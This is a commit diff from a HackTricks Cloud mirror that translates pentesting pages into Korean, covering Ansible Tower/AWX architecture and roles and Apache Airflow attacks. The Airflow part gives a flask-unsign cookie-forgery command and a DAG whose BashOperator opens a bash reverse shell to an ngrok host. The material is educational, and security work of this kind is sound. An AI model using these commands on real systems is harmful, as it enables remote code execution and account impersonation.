mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -6,26 +6,26 @@ Reading time: {{ #reading_time }}
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_에 의해 제작되었습니다._
|
||||
|
||||
> [!TIP]
|
||||
> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
|
||||
> CI/CD 및 Cloud와 관련된 각 **해킹 트릭/기술/무엇이든**을 찾을 수 있는 페이지에 오신 것을 환영합니다. 저는 **CTFs**, **실제** 환경, **연구**, 그리고 **연구 및 뉴스**를 읽으면서 배웠습니다.
|
||||
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
|
||||
**HackTricks CI/CD 방법론에서는 CI/CD 활동과 관련된 인프라를 어떻게 펜테스트하는지 알 수 있습니다.** 다음 페이지를 읽어보세요:
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Methodology
|
||||
|
||||
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
|
||||
**HackTricks Cloud 방법론에서는 클라우드 환경을 어떻게 펜테스트하는지 알 수 있습니다.** 다음 페이지를 읽어보세요:
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### License & Disclaimer
|
||||
|
||||
**Check them in:**
|
||||
**다음에서 확인하세요:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
@@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -505,3 +505,5 @@
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,17 +1,13 @@
|
||||
> [!TIP]
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Support HackTricks</summary>
|
||||
> <summary>HackTricks 지원하기</summary>
|
||||
>
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
>
|
||||
> </details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,60 +4,59 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
**Ansible Tower** 또는 그 오픈소스 버전 [**AWX**](https://github.com/ansible/awx)는 **Ansible의 사용자 인터페이스, 대시보드 및 REST API**로 알려져 있습니다. **역할 기반 접근 제어**, 작업 예약 및 그래픽 인벤토리 관리를 통해 현대적인 UI에서 Ansible 인프라를 관리할 수 있습니다. Tower의 REST API 및 명령줄 인터페이스는 현재 도구 및 워크플로우에 통합하기 쉽게 만듭니다.
|
||||
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
**Automation Controller는 더 많은 기능을 갖춘** Ansible Tower의 최신 버전입니다.
|
||||
|
||||
### Differences
|
||||
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
[**이**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)에 따르면, Ansible Tower와 AWX의 주요 차이점은 받은 지원이며, Ansible Tower는 역할 기반 접근 제어, 사용자 정의 API 지원 및 사용자 정의 워크플로우와 같은 추가 기능을 가지고 있습니다.
|
||||
|
||||
### Tech Stack
|
||||
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
- **Web Interface**: 사용자가 인벤토리, 자격 증명, 템플릿 및 작업을 관리할 수 있는 그래픽 인터페이스입니다. 직관적으로 설계되어 있으며 자동화 작업의 상태와 결과를 이해하는 데 도움이 되는 시각화를 제공합니다.
|
||||
- **REST API**: 웹 인터페이스에서 할 수 있는 모든 작업을 REST API를 통해서도 수행할 수 있습니다. 이는 AWX/Tower를 다른 시스템과 통합하거나 일반적으로 인터페이스에서 수행하는 작업을 스크립트화할 수 있음을 의미합니다.
|
||||
- **Database**: AWX/Tower는 구성, 작업 결과 및 기타 필요한 운영 데이터를 저장하기 위해 데이터베이스(일반적으로 PostgreSQL)를 사용합니다.
|
||||
- **RabbitMQ**: AWX/Tower가 다양한 구성 요소 간에, 특히 웹 서비스와 작업 실행기 간에 통신하는 데 사용하는 메시징 시스템입니다.
|
||||
- **Redis**: Redis는 캐시 및 작업 큐의 백엔드 역할을 합니다.
|
||||
|
||||
### Logical Components
|
||||
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
- **Inventories**: 인벤토리는 **작업**(Ansible 플레이북)을 **실행할 수 있는 호스트(또는 노드)의 모음**입니다. AWX/Tower는 인벤토리를 정의하고 그룹화할 수 있으며, AWS, Azure 등과 같은 다른 시스템에서 **호스트 목록을 가져오는** 동적 인벤토리도 지원합니다.
|
||||
- **Projects**: 프로젝트는 본질적으로 **버전 관리 시스템**(예: Git)에서 소스된 **Ansible 플레이북의 모음**으로, 필요할 때 최신 플레이북을 가져옵니다.
|
||||
- **Templates**: 작업 템플릿은 **특정 플레이북이 어떻게 실행될 것인지** 정의하며, **인벤토리**, **자격 증명** 및 작업에 대한 기타 **매개변수**를 지정합니다.
|
||||
- **Credentials**: AWX/Tower는 SSH 키, 비밀번호 및 API 토큰과 같은 비밀을 **관리하고 저장하는** 안전한 방법을 제공합니다. 이러한 자격 증명은 작업 템플릿과 연결되어 플레이북이 실행될 때 필요한 접근 권한을 가집니다.
|
||||
- **Task Engine**: 마법이 일어나는 곳입니다. 작업 엔진은 Ansible을 기반으로 구축되며 **플레이북을 실행하는** 역할을 합니다. 작업은 작업 엔진에 배포되며, 지정된 인벤토리에 대해 지정된 자격 증명을 사용하여 Ansible 플레이북을 실행합니다.
|
||||
- **Schedulers and Callbacks**: AWX/Tower의 고급 기능으로, **작업을 특정 시간에 실행하도록 예약**하거나 외부 이벤트에 의해 트리거할 수 있습니다.
|
||||
- **Notifications**: AWX/Tower는 작업의 성공 또는 실패에 따라 알림을 보낼 수 있습니다. 이메일, Slack 메시지, 웹훅 등 다양한 알림 수단을 지원합니다.
|
||||
- **Ansible Playbooks**: Ansible 플레이북은 구성, 배포 및 오케스트레이션 도구입니다. 자동화되고 반복 가능한 방식으로 시스템의 원하는 상태를 설명합니다. YAML로 작성되며, 플레이북은 Ansible의 선언적 자동화 언어를 사용하여 구성, 작업 및 실행해야 할 단계를 설명합니다.
|
||||
|
||||
### Job Execution Flow
|
||||
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
1. **User Interaction**: 사용자는 **Web Interface** 또는 **REST API**를 통해 AWX/Tower와 상호작용할 수 있습니다. 이는 AWX/Tower가 제공하는 모든 기능에 대한 프론트엔드 접근을 제공합니다.
|
||||
2. **Job Initiation**:
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
- 사용자는 웹 인터페이스 또는 API를 통해 **Job Template**에 기반하여 작업을 시작합니다.
|
||||
- 작업 템플릿에는 **인벤토리**, **프로젝트**(플레이북 포함) 및 **자격 증명**에 대한 참조가 포함됩니다.
|
||||
- 작업 시작 시, 실행을 위해 작업을 대기열에 추가하기 위해 AWX/Tower 백엔드에 요청이 전송됩니다.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
- **RabbitMQ**는 웹 구성 요소와 작업 실행기 간의 메시징을 처리합니다. 작업이 시작되면 RabbitMQ를 사용하여 작업 엔진에 메시지가 전송됩니다.
|
||||
- **Redis**는 실행 대기 중인 작업을 관리하는 작업 큐의 백엔드 역할을 합니다.
|
||||
4. **Job Execution**:
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
- **Task Engine**이 대기열에 있는 작업을 가져옵니다. 작업과 관련된 플레이북, 인벤토리 및 자격 증명에 대한 필요한 정보를 **Database**에서 검색합니다.
|
||||
- 관련 **Project**에서 검색된 Ansible 플레이북을 사용하여 Task Engine은 제공된 **Credentials**를 사용하여 지정된 **Inventory** 노드에 대해 플레이북을 실행합니다.
|
||||
- 플레이북이 실행되는 동안 실행 출력(로그, 사실 등)이 캡처되어 **Database**에 저장됩니다.
|
||||
5. **Job Results**:
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
- 플레이북 실행이 완료되면 결과(성공, 실패, 로그)가 **Database**에 저장됩니다.
|
||||
- 사용자는 웹 인터페이스를 통해 결과를 보거나 REST API를 통해 쿼리할 수 있습니다.
|
||||
- 작업 결과에 따라 **Notifications**가 전송되어 사용자 또는 외부 시스템에 작업 상태를 알릴 수 있습니다. 알림은 이메일, Slack 메시지, 웹훅 등이 될 수 있습니다.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
- **Inventories**는 외부 시스템에서 동적으로 소싱할 수 있어 AWX/Tower가 AWS, Azure, VMware 등과 같은 소스에서 호스트를 가져올 수 있습니다.
|
||||
- **Projects**(플레이북)는 버전 관리 시스템에서 가져올 수 있어 작업 실행 중 최신 플레이북을 사용할 수 있습니다.
|
||||
- **Schedulers and Callbacks**는 다른 시스템이나 도구와 통합하는 데 사용될 수 있어 AWX/Tower가 외부 트리거에 반응하거나 미리 정해진 시간에 작업을 실행할 수 있습니다.
|
||||
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
|
||||
[**문서를 따르면서**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) docker-compose를 사용하여 AWX를 실행할 수 있습니다:
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Supported roles
|
||||
### 지원되는 역할
|
||||
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
가장 권한이 높은 역할은 **시스템 관리자**라고 합니다. 이 역할을 가진 사람은 **모든 것을 수정할 수 있습니다**.
|
||||
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
**화이트 박스 보안** 검토를 위해서는 **시스템 감사자 역할**이 필요하며, 이 역할은 **모든 시스템 데이터를 볼 수 있지만** 변경할 수는 없습니다. 다른 옵션은 **조직 감사자 역할**을 얻는 것이지만, 다른 역할을 얻는 것이 더 좋습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
<summary>사용 가능한 역할에 대한 자세한 설명을 보려면 확장하세요</summary>
|
||||
|
||||
1. **System Administrator**:
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
1. **시스템 관리자**:
|
||||
- 시스템의 모든 리소스에 접근하고 수정할 수 있는 슈퍼유저 역할입니다.
|
||||
- 모든 조직, 팀, 프로젝트, 인벤토리, 작업 템플릿 등을 관리할 수 있습니다.
|
||||
2. **시스템 감사자**:
|
||||
- 이 역할을 가진 사용자는 모든 시스템 데이터를 볼 수 있지만 변경할 수는 없습니다.
|
||||
- 이 역할은 준수 및 감독을 위해 설계되었습니다.
|
||||
3. **조직 역할**:
|
||||
- **관리자**: 조직의 리소스에 대한 전체 제어.
|
||||
- **감사자**: 조직의 리소스에 대한 보기 전용 접근.
|
||||
- **회원**: 특정 권한 없이 조직의 기본 회원.
|
||||
- **실행**: 조직 내에서 작업 템플릿을 실행할 수 있습니다.
|
||||
- **읽기**: 조직의 리소스를 볼 수 있습니다.
|
||||
4. **프로젝트 역할**:
|
||||
- **관리자**: 프로젝트를 관리하고 수정할 수 있습니다.
|
||||
- **사용**: 작업 템플릿에서 프로젝트를 사용할 수 있습니다.
|
||||
- **업데이트**: SCM(소스 제어)을 사용하여 프로젝트를 업데이트할 수 있습니다.
|
||||
5. **인벤토리 역할**:
|
||||
- **관리자**: 인벤토리를 관리하고 수정할 수 있습니다.
|
||||
- **Ad Hoc**: 인벤토리에서 Ad Hoc 명령을 실행할 수 있습니다.
|
||||
- **업데이트**: 인벤토리 소스를 업데이트할 수 있습니다.
|
||||
- **사용**: 작업 템플릿에서 인벤토리를 사용할 수 있습니다.
|
||||
- **읽기**: 보기 전용 접근.
|
||||
6. **작업 템플릿 역할**:
|
||||
- **관리자**: 작업 템플릿을 관리하고 수정할 수 있습니다.
|
||||
- **실행**: 작업을 실행할 수 있습니다.
|
||||
- **읽기**: 보기 전용 접근.
|
||||
7. **자격 증명 역할**:
|
||||
- **관리자**: 자격 증명을 관리하고 수정할 수 있습니다.
|
||||
- **사용**: 작업 템플릿이나 기타 관련 리소스에서 자격 증명을 사용할 수 있습니다.
|
||||
- **읽기**: 보기 전용 접근.
|
||||
8. **팀 역할**:
|
||||
- **회원**: 팀의 일원이지만 특정 권한이 없습니다.
|
||||
- **관리자**: 팀의 구성원 및 관련 리소스를 관리할 수 있습니다.
|
||||
9. **워크플로우 역할**:
|
||||
- **관리자**: 워크플로우를 관리하고 수정할 수 있습니다.
|
||||
- **실행**: 워크플로우를 실행할 수 있습니다.
|
||||
- **읽기**: 보기 전용 접근.
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,20 +4,19 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
[**Apache Airflow**](https://airflow.apache.org)는 **데이터 파이프라인 또는 워크플로우를 조정하고 예약하는 플랫폼**으로 사용됩니다. 데이터 파이프라인의 맥락에서 "조정"이라는 용어는 다양한 출처에서 발생하는 복잡한 데이터 워크플로우를 정리하고, 조정하며, 관리하는 과정을 의미합니다. 이러한 조정된 데이터 파이프라인의 주요 목적은 처리되고 소비 가능한 데이터 세트를 제공하는 것입니다. 이러한 데이터 세트는 비즈니스 인텔리전스 도구, 데이터 과학 및 머신 러닝 모델을 포함하되 이에 국한되지 않는 수많은 애플리케이션에서 광범위하게 사용되며, 이는 빅 데이터 애플리케이션의 기능에 기초가 됩니다.
|
||||
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
기본적으로, Apache Airflow는 **무언가**(이벤트, 크론)가 **발생할 때 코드 실행을 예약할 수 있게 해줍니다**.
|
||||
|
||||
### Local Lab
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml)에서 **docker-compose 구성 파일**을 사용하여 완전한 apache airflow 도커 환경을 시작할 수 있습니다. (MacOS를 사용하는 경우 도커 VM에 최소 6GB의 RAM을 할당해야 합니다).
|
||||
|
||||
#### Minikube
|
||||
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
**apache airflow**를 실행하는 한 가지 쉬운 방법은 **minikube로 실행하는 것**입니다:
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
Airflow는 **민감한 정보**를 구성에 저장할 수 있으며, 약한 구성이 있을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
@@ -38,7 +36,7 @@ airflow-configuration.md
|
||||
|
||||
### Airflow RBAC
|
||||
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
Airflow를 공격하기 전에 **권한이 어떻게 작동하는지** 이해해야 합니다:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
@@ -48,55 +46,52 @@ airflow-rbac.md
|
||||
|
||||
#### Web Console Enumeration
|
||||
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
**웹 콘솔에 접근할 수 있다면** 다음 정보 중 일부 또는 전부에 접근할 수 있습니다:
|
||||
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
- **변수** (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다)
|
||||
- **연결** (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다)
|
||||
- `http://<airflow>/connection/list/`에서 접근
|
||||
- [**구성**](./#airflow-configuration) (여기에 **`secret_key`** 및 비밀번호와 같은 민감한 정보가 저장될 수 있습니다)
|
||||
- **사용자 및 역할** 목록
|
||||
- **각 DAG의 코드** (흥미로운 정보가 포함될 수 있습니다)
|
||||
|
||||
#### Retrieve Variables Values
|
||||
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
변수는 Airflow에 저장될 수 있어 **DAGs**가 그 값을 **접근**할 수 있습니다. 이는 다른 플랫폼의 비밀과 유사합니다. **충분한 권한**이 있다면 `http://<airflow>/variable/list/`의 GUI에서 접근할 수 있습니다.\
|
||||
Airflow는 기본적으로 GUI에서 변수의 값을 표시하지만, [**이**](https://marclamberti.com/blog/variables-with-apache-airflow/)에 따르면 **값**이 **별표**로 표시되는 **변수 목록**을 설정할 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
그러나 이러한 **값**은 여전히 **CLI**를 통해 **가져올 수** 있습니다 (DB 접근이 필요함), **임의의 DAG** 실행, **API**를 통해 변수 엔드포인트에 접근 (API가 활성화되어야 함), **심지어 GUI 자체에서도!**\
|
||||
GUI에서 이러한 값에 접근하려면 **접근하고자 하는 변수**를 선택하고 **작업 -> 내보내기**를 클릭하면 됩니다.\
|
||||
또 다른 방법은 **검색 필터링**을 사용하여 **숨겨진 값**에 대해 **브루트포스**를 수행하는 것입니다:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
|
||||
**`expose_config`** 구성이 **True**로 설정되어 있다면, **User** 역할 및 **상위 역할**은 **웹에서 구성**을 **읽을 수** 있습니다. 이 구성에는 **`secret_key`**가 나타나며, 이는 유효한 사용자가 **자신의 서명된 쿠키를 생성하여 다른 사용자 계정을 가장할 수** 있음을 의미합니다.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG 백도어 (Airflow 작업자에서 RCE)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
**DAGs가 저장된** 위치에 **쓰기 권한**이 있다면, **역방향 셸**을 보내는 **하나를 생성**할 수 있습니다.\
|
||||
이 역방향 셸은 **airflow 작업자 컨테이너** 내에서 실행될 것입니다:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
